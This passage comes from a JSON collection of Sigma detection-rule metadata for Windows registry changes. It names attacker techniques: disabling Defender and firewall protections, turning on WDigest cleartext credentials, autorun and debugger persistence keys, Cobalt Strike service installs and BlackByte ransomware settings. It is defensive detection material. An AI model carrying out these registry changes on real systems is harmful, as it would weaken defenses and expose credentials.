        "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali",
        "creation_date": "2022/09/29",
        "falsepositive": [
          "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)"
        ],
        "filename": "registry_set_terminal_server_suspicious.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html",
          "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/",
          "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services",
          "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/",
          "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03",
          "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/",
          "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b",
      "value": "RDP Sensitive Settings Changed to Zero"
    },
    {
      "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability",
      "meta": {
        "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/15",
        "falsepositive": [
          "Administrator actions"
        ],
        "filename": "registry_set_enabling_turnoffcheck.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86",
      "value": "Scripted Diagnostics Turn Off Check Enabled - Registry"
    },
    {
      "description": "Detects when the enablement of developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_turn_on_dev_features.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1560536653709598721",
          "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_turn_on_dev_features.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "b110ebaf-697f-4da1-afd5-b536fa27a2c1",
      "value": "Potential Signing Bypass Via Windows Developer Features - Registry"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_session_manager.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001",
          "attack.t1546.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298",
      "value": "Session Manager Autorun Keys Modification"
    },
    {
      "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "This value is not set by default but could be rarly used by administrators"
        ],
        "filename": "registry_set_hangs_debugger_persistence.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/",
          "https://persistence-info.github.io/Data/wer_debugger.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498",
      "value": "Add Debugger Entry To Hangs Key For Persistence"
    },
    {
      "description": "Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_powershell_execution_policy.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "fad91067-08c5-4d1a-8d8c-d96a21b37814",
      "value": "Potential PowerShell Execution Policy Tampering"
    },
    {
      "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'",
      "meta": {
        "author": "Omkar Gudhate",
        "creation_date": "2020/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_comhijack_sdclt.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.exploit-db.com/exploits/47696",
          "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1546",
          "attack.t1548"
        ]
      },
      "related": [
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "07743f65-7ec9-404a-a519-913db7118a8d",
      "value": "COM Hijack via Sdclt"
    },
    {
      "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_winlogon_notify_key.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88",
      "value": "Winlogon Notify Key Logon Persistence"
    },
    {
      "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_blackbyte_ransomware.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social",
          "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "83314318-052a-4c90-a1ad-660ece38d276",
      "value": "Blackbyte Ransomware Registry"
    },
    {
      "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n",
      "meta": {
        "author": "Wojciech Lesicki",
        "creation_date": "2021/06/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_cobaltstrike_service_installs.yml",
        "level": "critical",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130",
      "value": "CobaltStrike Service Installations in Registry"
    },
    {
      "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_chrome_extension.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1133"
        ]
      },
      "related": [
        {
          "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1",
      "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension"
    },
    {
      "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/01/10",
        "falsepositive": [
          "Legitimate Addin Installation"
        ],
        "filename": "registry_set_persistence_office_vsto.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://vanmieghem.io/stealth-outlook-persistence/",
          "https://twitter.com/_vivami/status/1347925307643355138",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml"
        ],
        "tags": [
          "attack.t1137.006",
          "attack.persistence"
        ]
      },
      "related": [
        {
          "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685",
      "value": "Potential Persistence Via Visual Studio Tools for Office"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb",
      "value": "Wow6432Node CurrentVersion Autorun Keys Modification"
    },
    {
      "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/12",
        "falsepositive": [
          "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)"
        ],
        "filename": "registry_set_susp_keyboard_layout_load.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index",
          "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8",
      "value": "Suspicious Keyboard Layout Load"
    },
    {
      "description": "Detects disabling Windows Defender Tamper Protection",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "93d298a1-d28f-47f1-a468-d971e7796679",
      "value": "Disable Tamper Protection on Windows Defender"
    },
    {
      "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_wdigest_enable_uselogoncredential.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html",
          "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649",
          "https://github.com/redcanaryco/atomic-red-team/blob/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3---modify-registry-to-store-logon-credentials",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc",
      "value": "Wdigest Enable UseLogonCredential"
    },
    {
      "description": "Detect possible persistence using Fax DLL load when service restart",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_fax_dll_persistance.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf",
          "https://twitter.com/dottor_morte/status/1544652325570191361",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513",
      "value": "Change the Fax Dll"
    },
    {
      "description": "Detects changes to the \"TracingDisabled\" key in order to disable ETW logging for services.exe (SCM)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_services_etw_tamper.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f281b83-0200-4b34-bf35-d24687ea57c2",
      "value": "ETW Logging Disabled For SCM"
    },
    {
      "description": "Detects disabling Windows Defender PUA protection",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13",
      "value": "Disable PUA Protection on Windows Defender"
    },
    {
      "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate SIP being registered by the OS or different software."
        ],
        "filename": "registry_set_sip_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/codesigning.html",
          "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
          "https://github.com/gtworek/PSBits/tree/master/SIP",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1553.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1",
      "value": "Persistence Via New SIP Provider"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_classes.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9df5f547-c86a-433e-b533-f2794357e242",
      "value": "Classes Autorun Keys Modification"
    },
    {
      "description": "Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_odbc_driver_registered_susp.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_odbc_driver_registered_susp.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4d22291-f3d5-4b78-9a0c-a1fbaf32a6a4",
      "value": "Potentially Suspicious ODBC Driver Registered"
    },
    {
      "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_defender_firewall.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f",
      "value": "Disable Microsoft Defender Firewall via Registry"
    },
    {
      "description": "Detects the addition of the \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence. Which will get invoked when an application crashes",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/07",
        "falsepositive": [
          "Legitimate use of the key to setup a debugger. Which is often the case on developers machines"
        ],
        "filename": "registry_set_dbgmanageddebugger_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/last-byte/PersistenceSniper",
          "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1574"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b",
      "value": "Potential Registry Persistence Attempt Via DbgManagedDebugger"
    },
    {
      "description": "Detects changes to registry keys related to \"Trusted Location\" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/21",
        "falsepositive": [
          "Other unknown legitimate or custom paths need to be filtered to avoid false positives"
        ],
        "filename": "registry_set_office_trusted_location_uncommon.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://admx.help/?Category=Office2016&Policy=excel16.Office.Microsoft.Policies.Windows::L_TrustedLoc01",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trusted_location_uncommon.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f742bde7-9528-42e5-bd82-84f51a8387d2",
      "value": "Uncommon Microsoft Office Trusted Location Added"
    },
    {
      "description": "Detects registry modifications that disable Privacy Settings Experience",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/02",
        "falsepositive": [
          "Legitimate admin script"
        ],
        "filename": "registry_set_disable_privacy_settings_experience.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
